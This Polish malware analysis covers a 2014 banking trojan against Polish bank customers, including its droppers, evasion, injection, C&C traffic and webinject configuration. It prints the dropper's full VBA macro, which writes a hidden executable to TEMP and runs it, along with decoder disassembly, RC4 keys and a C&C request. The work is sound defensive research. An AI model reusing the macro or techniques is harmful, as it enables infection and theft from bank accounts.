Banking trojan – analiza ataku na klientów banków w Polsce

Przedstawiamy analizę ataku rosyjskiej grupy przestępczej. Celem ataku są między innymi klienci banków w Polsce.  Nie oznacza to, że zagrożone są wyłącznie osoby posiadające konta w systemach bankowości internetowej (osobiste bądź firmowe) w wymienionych poniżej bankach. Zdarzały się przypadki, że intruzom udało się przetransferować środki z konta ofiary u której był aktywny keylogger oraz vnc.

Opisane złośliwe oprogramowanie pierwszy raz zostało przez nas zidentyfikowane na początku listopada 2014. Jednak już we wrześniu zaobserwowaliśmy wykorzystywanie niektórych komponentów złośliwego oprogramowania (keylogger oraz vnc). Obecnie złośliwy kod zarządzany jest za pomocą botnet-u Andromeda a moduł webinject wykorzystuje mechanizmy znane z malware TINBA. Zazwyczaj 2-3 dni po infekcji intruzi próbują przetransferować środki z konta ofiary. Z analizowanych przez nas do tej pory incydentów najbardziej skuteczna metoda opiera się o moduły keylogger oraz vnc. 

Dropper #1

Dropper rozsyłany jest za pomocą wiadomości email z załącznikiem w formacie edytora WORD. Poniżej zawartość takiego dokumentu (tekst oznaczony kolorem czerwonym w oryginalnym dokumencie jest biały).

Makro tworzy plik wykonywalny (exe) i zapisuje w nim dekodowaną zawartość danych po znakach 1234 (w dokumencie docx wyszukuje ciągu znaków 1234). &H to prefix danych zapisywanych bajtów w formacie szesnastkowym w Visual Basic. Poniżej zawartość  skryptów Makro:

TmpFile = Environ("TEMP")
TmpName = TmpFile & "docm.exe
Data = ActiveDocument.Range.Text
Dim Text
Dim Pos
Dim Symbol
Pos = InStr(10, Data, "1234")
BytesWritten = Pos + 4
lInputFile = FreeFile
Open TmpName For Binary Lock Write As #lInputFile
While (BytesWritten < Len(Data))
Symbol = Mid(Data, BytesWritten, 4)
Put #lInputFile, , CByte(Symbol)
BytesWritten = BytesWritten + 4
Wend

Close #lInputFile

Shell TmpName, vbNormalFocus
 
End Sub

Najprostsza metoda to przekopiowanie całego ukrytego tekstu (bez 1234) do notatnika i usunięcie &H (funkcja zamień). Następnie tekst należy zapisać jako binarny (np. korzystając z WinHex). W efekcie otrzymujemy plik wykonywalny (MD5: 5CD40560A53FDA5B32C35ADFCDFCA3E1).

Punkt wejścia wskazuje na kod w .NET, który możemy poddać procesowi dekompilacji. W funkcji main() można zauważyć dużo zbędnego kodu i standardowe fragmenty związane z odczytem zawartości tablicy, alokacją pamięci i uruchomieniem kodu niezarządzanego (właściwy payload malware). Sposób odnalezienia miejsca w pamięci, gdzie ładowany jest payload został przez nas opisany w poprzednim artykule [1].

Jedną z pierwszych operacji wykonywanych przez payload jest rozpakowanie właściwego kodu malware. Do tego celu została zastosowana funkcja RtlDecompressBuffer(). Poniżej fragment pamięci przed dekompresją i po dekompresji.

Fragment pamięci przed wywołaniem funkcji RtlDecompressBuffer():

Fragment pamięci po wywołaniu RtlDecompressBuffer():

Po uruchomieniu w/w kodu malware sprawdza czy są uruchomione procesy związane z narzędziami VirtualBox i VMWare (instalowanymi zazwyczaj na systemach wirtualnych).

Złośliwy kod za pomocą funkcji CreateProcessW() „uruchamiany jest” kilka razy. Uruchamiane są też aplikacje „systemowe” (msiexec.exe czy hh.exe).  Zanim aplikacje zostaną uruchomione (CreateProcessW() wywoływany jest z opcją CREATE_SUSPENDED), złośliwy kod wstrzykiwany jest do procesów potomnych (sekwencja funkcji API: UnmapViewOfSection(), VirtualAllocEx(), WriteProcessMemory(), SetThreadContext()). Takie zachowanie ma na celu utrudnienie analizy za pomocą narzędzi typu debugger. Poniżej lista uruchamianych procesów po uruchomieniu dropper-a:

Plik wykonywalny loader (mslsxktt.exe) ostatecznie kopiowany jest do C:\ProgramData. Dodawany jest też do gałęzi rejestrów Policies\Explorer\Run co pozwala na automatyczne uruchomienie przy logowaniu użytkownika. Wykonywane są też inne modyfikacje związane z wyłączeniem UAC, wyłączeniem Windows Defender, wyłączeniem powiadomień czy zmianą opcji widoku folderów (ukrywanie plików). 

Fragment złośliwego kodu odpowiadającego za w/w modyfikacje:

Po zainstalowaniu złośliwy kod dekoduje adresy URL serwerów C&C. Poniżej kod funkcji dekodującej: 

00401BA5   55               PUSH EBP

00401BA6   8BEC             MOV EBP,ESP

00401BA8   51               PUSH ECX

00401BA9   33C0             XOR EAX,EAX

00401BAB   33C9             XOR ECX,ECX

00401BAD   8B45 08          MOV EAX,DWORD PTR SS:[EBP+8]

00401BB0   B9 34000000      MOV ECX,34

00401BB5   807401 FF 7C     XOR BYTE PTR DS:[ECX+EAX-1],7C

00401BBA   807401 FF 6C     XOR BYTE PTR DS:[ECX+EAX-1],6C

00401BBF   807401 FF 5C     XOR BYTE PTR DS:[ECX+EAX-1],5C

00401BC4   49               DEC ECX

00401BC5  ^75 EE            JNZ SHORT srcommon.00401BB5

00401BC7   59               POP ECX

00401BC8   C9               LEAVE

00401BC9   C2 0400          RETN 4

Malware modyfikuje też funkcje GetAddrInfoW() oraz NtMapViewOfSection(). Zastosowana technika inline hooking za pomocą instrukcji JMP przekierowuje wszystkie wywołania do kodu malware:

Poniżej fragment odpowiadający za modyfikację w/w funkcji:

Poniżej początek funkcji GetAddrInfoW() po modyfikacji. Pierwsza instrukcja to instrukcja skoku bezwarunkowego do kodu kontrolowanego przez intruza.

 

Zarządzanie

Zainfekowany komputer zarządzany jest przez złośliwy kod mający wiele cech wspólnych z bot-em o nazwie Andromeda. Zarządzanie odbywa się za pomocą komend: aRaport i aUpdate. Najpierw sprawdzana jest dostępność sieci Internet poprzez próbę nawiązana połączenia z jednym z poniższych serwerów:

Następnie wysyłany jest raport zawierający kilka parametrów, w tym identyfikator (id) zainfekowanego systemu wygenerowany z cech systemu (nie można zarejestrować ponownie tego samego komputera).

Pełen zestaw parametrów jest szyfrowany za pomocą algorytmu RC4 i kodowany za pomocą baze64. Wykorzystywany przez RC4 klucz oraz ciąg znaków do zakodowania przekazywany jest do funkcji szyfrującej (na poniższym przykładzie pod adresem 0x7FF91B90).

Fragment funkcji, która najpierw tworzy pseudolosowy strumień 256 bajtów korzystając ze stałego klucza.

seg000:00001BB8 loc_1BB8:                               ; CODE XREF: sub_1B90+57j

seg000:00001BB8                 mov     dl, ss:[ecx+ebp+var_100]

seg000:00001BC0                 add     al, dl

seg000:00001BC2                 add     al, [ebx+esi]

seg000:00001BC5                 mov     dh, ss:[eax+ebp+var_100]

seg000:00001BCD                 mov     ss:[ecx+ebp+var_100], dh

seg000:00001BD5                 mov     ss:[eax+ebp+var_100], dl

seg000:00001BDD                 inc     cl

seg000:00001BDF                 jz      short loc_1BE9

seg000:00001BE1                 inc     ebx

seg000:00001BE2                 cmp     ebx, [ebp+arg_4]

seg000:00001BE5                 jz      short loc_1BB6

seg000:00001BE7                 jmp     short loc_1BB8

Następnie strumień ten używany jest do szyfrowania za pomocą XOR wiadomości. Przed wykonaniem operacji logicznej XOR ustawiany jest offset (EDX) klucza.

Następnie zaszyfrowane dane są kodowane za pomocą base64 i przesyłane do serwera C&C.

POST /joomla/administrator.php HTTP/1.1

Cache-Control: no-cache

Connection: close

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0

Content-Length: 74

Host: *.ru

Base64_encoded_string

Kolejną komendą jest update. Poniżej fragment kodu, który zapisuje a następnie uruchamia z katalogu tmp plik wykonywalny. 

Malware posiada kilka modułów. Między innymi moduł webinject, VNC czy keylogger. Poniżej fragment zapytania i odpowiedzi zawierającej zakodowany moduł (PK nie oznacza,  że jest to plik archiwum). Właśnie w ten sposób na stacji roboczej instalowane są kolejne moduły.

 

Webinject

Jeden z wątków malware za pomocą funkcji CreateToolhelp32Snapshot sprawdza, czy nie działa proces jednej z poniższych przeglądarek:

• iexplorer.exe
• firefox.exe
• maxthon.exe
• chrome.exe

Poniżej odpowiedni fragment kodu:

Gdy wykryty zostanie jeden z procesów wtedy złośliwy kod modułu webinject kopiowany jest do procesu przeglądarki www (sekwencja API: OpenProcess(), VritualAllocEx(), WriteProcessMemory(), CreateRemoteThread()). Jest to kod innego znanego malware TINBA (Tiny Banker).

Następnie wywoływane są funkcje złośliwego kodu, które za pomocą techniki inline hooking (z użyciem funkcji VirutalProtect() oraz WriteProcessMemory()) modyfikują funkcje API biblioteki WININET.dll (HttpQueryInfoA(), InternetCloseHandle(),InternetReadFile(), HttpOpenRequest(), InternetQueryDataAvailable(), HttpSendRequest()).  Poniżej fragment kodu inicjującego przechwycenie systemowych funkcji API:

00BD133E 8D83 FD1A4000 LEA EAX,DWORD PTR DS:[EBX+401AFD] //patchowanie
00BD1344 FFD0 CALL EAX
00BD1346 8D83 A1174000 LEA EAX,DWORD PTR DS:[EBX+4017A1]
00BD134C 50 PUSH EAX
00BD134D 8D83 F43C4000 LEA EAX,DWORD PTR DS:[EBX+403CF4]
00BD1353 50 PUSH EAX
00BD1354 8D83 FD1A4000 LEA EAX,DWORD PTR DS:[EBX+401AFD] //patchowanie
00BD135A FFD0 CALL EAX
00BD135C 8D83 81174000 LEA EAX,DWORD PTR DS:[EBX+401781]
00BD1362 50 PUSH EAX
00BD1363 8D83 553E4000 LEA EAX,DWORD PTR DS:[EBX+403E55]
00BD1369 50 PUSH EAX
00BD136A 8D83 FD1A4000 LEA EAX,DWORD PTR DS:[EBX+401AFD] //patchowanie
00BD1370 FFD0 CALL EAX
00BD1372 8D83 89174000 LEA EAX,DWORD PTR DS:[EBX+401789]
00BD1378 50 PUSH EAX
00BD1379 8D83 A23E4000 LEA EAX,DWORD PTR DS:[EBX+403EA2]
00BD137F 50 PUSH EAX

Plik konfiguracyjny (InkObj.dat) webinject znajduje się w lokalizacji: C:\Users\<username>\AppData\Roaming\SpeechEngine\. Plik zakodowany jest za pomocą algorytmu RC4. W ciągu ostatniego miesiąca wykorzystywane były dwa klucze: "wer8c7ygbw485ghw" oraz “f6hfijqpbdl7czm9”. Opis dekodowania opisany jest też w innym naszym artykule [2].

Poniżej fragment odkodowanego pliku konfiguracyjnego:

Poniżej fragment plików konfiguracyjnych dotyczących banków w Polsce. Dla każdego z nich znajduje się jeden lub kilka javascript umieszczonych w pliku konfiguracyjnym lub na serwerach kontrolowanych przez atakującego:

 

Interesujące jest to, że jeszcze na początku listopada w plikach konfiguracyjnych umieszczony był złośliwy javascript dla https://netbank.nordea.pl* GP a już pod koniec listopada pojawiły się skrypty dla https://www.ipkonet.p* GP. Intruzi szybko zareagowali  na migrację systemów bankowości, która miała miejsce na przełomie października/listopada.

 Dropper #2

Kolejnym przykładem pliku infekującego komputer jest malware załączany do wiadomości email jako faktura.pdf.exe. Po uruchomieniu w katalogu temp tworzony jest plik wykonywalny loader-a (api-deui.exe). Zarówno dropper jak i loader są aplikacjami .NET. Z tablicy odczytują kod niezarządzany (payload zawierający złośliwy kod) i wywołują funkcję Invoke(). Dokładny opis można znaleźć w poprzednim naszym artykule [1].

Tak jak dropper #1 jedno z pierwszych zadań dotyczy weryfikacji środowiska, w którym malware jest uruchamiany. Zawartość klucza rejestru porównywana jest z ciągami znaków (qemu, virtual, vmware, xen). Odczytywana jest zawartość następującego klucza rejestru: System\CurrentControlSet\Services\Disk\Enum (dla przykładu VMware może wskazywać na SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S). Następnie wywoływana jest funkcja GetModuleHandleA() i wynik porównywany z następującymi ciągami znaków (sbiedll oraz dbghelp). Malware na końcu sprawdza, czy nie jest zainstalowana aplikacja AutoItv3CCleanerWIC.

Gdy jedno z powyższych sprawdzeń jest prawdą wywoływana jest poniższa funkcja (nieskończony sleep()):

000642E0 PUSH 258
000642E5 CALL DWORD PTR DS:[664600] ;kernel32.Sleep
000642EB JMP SHORT 000642E0

Gdy nie ma nic podejrzanego loader do procesu explorer.exe wstrzykuje złośliwy kod. Za pomocą techniki modyfikującej wskaźnik w Import Address Table przechwytywana jest funkcja CreateProcessW():

W pierwszej kolejności zbierane są informacje na temat systemu:

systeminfo.exe
tasklist.exe /SVC
driverquery.exe
reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s

Następnie uruchamiany jest keylogger który: 

• rejestruje informacje o uruchamianych procesach i wpisywane przez użytkownika dane

• rejestruje parametry przesyłane przez przeglądarkę (GET i POST)

Zebrane dane przechowywane są tymczasowo w podkatalogu użytkownika AppData\Roaming\Microsoft\. 

Następnie pliki są kompresowane za pomocą makecab.exe i do czasu przesłania na serwer C&C zapisywane w katalogu temp zainfekowanego użytkownika. Poniżej fragment komunikacji z serwerem C&C:

Cechy wspólne Dropper #1 oraz Dropper #2:

• W niektórych próbkach identyczne metody weryfikacji systemów wirtualnych,
• Ten sam typ loader-a i te same metody uruchamiana payload,
• Oba były zainstalowane na skompromitowanych stacjach roboczych,
• Wszystkie zarządzane przez C&C z Rosji.

Wartości MD5 analizowanych próbek:

• Information_76397.doc (MD5: 6A574342B3E4E44AE624F7606BD60EFA)
• Tempdocm.exe (dropper) (MD5: 5CD40560A53FDA5B32C35ADFCDFCA3E1)
• mslsxktt.exe (loader), mscjk.exe (loader) (MD5: 3BBF4DF2B83F4D6CA426F982203E7454)
• spcommon.exe (MD5: B5BB7193977CBD3D592A07E114700634, MD5: C75F4A1E059A901F7A71E5E3D673163A)
• faktura_90431_09_2014_TOPUP.pdf.exe (dropper), faks_list1_29.09.2014.pdf.exe (dropper) (MD5: 30E9BBA78B08BBE089FAB353F3B61D1E)
• api-deui.exe (loader) (MD5: D61863B2EBBC3B7DEEC1BAC2B2CD4526)

Źródła:

[1] http://malware.prevenity.com/2014/11/banking-trojan-analiza-loader-net.html
[2] http://www.prevenity.com/files/Faktura_Orange_Malware_2014.pdf
[3] http://hasherezade.net/malware/dofoil/index.html
[4] http://stopmalvertising.com/spam-scams/cve-2013-2729-and-andromeda-a-massive-hsbc-themed-email-campaign.html